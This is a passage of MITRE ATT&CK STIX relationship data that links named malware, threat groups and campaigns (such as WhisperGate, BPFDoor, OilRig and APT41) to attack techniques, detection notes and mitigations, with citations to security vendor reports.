2019"}],"modified":"2019-07-16T17:12:00.733Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) is capable of modifying email content, headers, and attachments during transit.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--973ed739-22d9-433f-ba63-f4881639a22d","created":"2022-09-19T18:21:25.817Z","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-19T18:21:25.817Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors uses zip to pack collected files before exfiltration.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9741bd7b-a3f2-4052-b2e0-f0fcf331ceae","type":"relationship","created":"2019-03-11T16:44:33.821Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.252Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use modules like Invoke-SessionGopher to extract private key and session information.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97453382-d064-4705-9a63-b21356d4bfce","created":"2022-04-13T14:43:58.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.860Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can shutdown a compromised host through execution of `ExitWindowsEx` with the `EXW_SHUTDOWN` flag.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--974cd5a0-3519-4488-a935-06a0ef498f46","type":"relationship","created":"2021-06-21T18:07:57.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-09-01T12:54:49.520Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can query service status using QueryServiceStatusEx function.(Citation: McAfee Cuba April 2021)","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9752991d-85cf-4bd6-b778-8e884540d8ab","created":"2022-10-11T12:44:44.390Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:44:44.390Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors downloaded additional droppers and backdoors onto a compromised system.(Citation: Bitdefender FunnyDream Campaign November 2020) ","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9753bc87-1ed3-4a28-a9d3-80e004d83e62","type":"relationship","created":"2021-02-16T21:02:48.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:58.209Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) can query the host's Registry key at HKEY_CURRENT_USER\\Console\\QuickEdit to retrieve data.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9755e169-0dd5-4bf5-a884-d50d31f33ad9","type":"relationship","created":"2017-05-31T21:33:27.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.808Z","description":"(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--975739e9-bb45-49d6-a67f-bc770845b4bf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2019-04-22T23:25:33.656Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about groups.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9757987c-36ed-4973-9412-0aba611cc9da","created":"2024-09-25T17:19:38.846Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T17:19:38.846Z","description":"(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"malware--28ad4983-151e-4e30-9792-768470e92b3e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--975d47f9-976e-438a-bd18-2e7e0125aa44","created":"2022-02-18T16:31:32.243Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pteranodon](https://attack.mitre.org/software/S0147) can use a dynamic Windows hashing algorithm to map API components.(Citation: Microsoft Actinium February 2022)","modified":"2022-08-23T15:25:01.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--976202db-cdfa-4c4e-bc09-9b3cad90e6fb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","source_name":"ESET Sednit Part 1"},{"url":"http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/","description":"ESET Research. (2015, July 10). Sednit APT Group Meets Hacking Team. Retrieved March 1, 2017.","source_name":"ESET Sednit July 2015"}],"modified":"2020-03-20T16:40:41.303Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9764e270-8c29-47c1-90c2-31f7d57a17c6","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor newly executed processes that may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9767394f-960b-47d4-8123-cfcc5d6ab66a","type":"relationship","created":"2020-08-10T13:59:38.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-11T20:44:28.054Z","description":"Consider removing verclsid.exe if it is not necessary within a given environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--976a08e5-40b0-4b9f-a453-a1d0b33c3080","created":"2022-03-15T19:56:31.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.414Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has compromised legitimate sites and used them to distribute malware.(Citation: KISA Operation Muzabi)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--976ffdd9-bc86-4bc6-80a0-736705f049f9","type":"relationship","created":"2020-10-01T00:56:25.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:56:25.256Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9772e620-f36c-483a-a7bb-7b66248668d7","created":"2024-09-23T17:57:20.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T18:00:54.405Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) starts a shell on a high TCP port starting at 42391 up to 43391, then changes the local `iptables` rules to redirect all packets from the attacker to the shell port.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9774fd36-2d85-4570-9f63-97f2d6c1ca6c","type":"relationship","created":"2020-03-27T21:08:25.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-27T21:08:25.409Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9775ca4e-c615-4d54-bf34-fec137933cf6","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]},{"type":"relationship","id":"relationship--97775c58-7cb1-46e0-9504-e60a459e44d0","created":"2019-09-24T12:31:43.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.535Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used the Steam community page as a fallback mechanism for C2.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97784aa6-4d45-4698-9acd-918bb0502e32","type":"relationship","created":"2021-11-29T20:52:15.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:52:15.981Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) has the ability to pack its payload.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9779ccbc-c376-4a6e-a43f-56a782892302","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T20:49:59.361Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9781e322-a7a6-48c3-9b3c-b30283aa3be2","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97833e2b-ae08-49c9-bc1f-b1ab03f982d2","created":"2021-01-22T15:52:10.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.425Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used the NtdsAudit utility to collect information related to accounts and passwords.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--978d8c12-bf39-440f-ac17-b66970451152","type":"relationship","created":"2019-02-18T20:17:17.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2020-03-18T20:18:02.875Z","description":"(Citation: FireEye APT34 Dec 2017) (Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--978dbb17-c5c5-4248-8385-9dc6f691030b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"},{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2019-04-24T23:40:23.531Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) can download files from its C2 server to the victim's machine.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--979812c4-939e-4a7e-96b3-348028db10ce","created":"2017-05-31T21:33:27.066Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"McAfee GhostSecret","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. 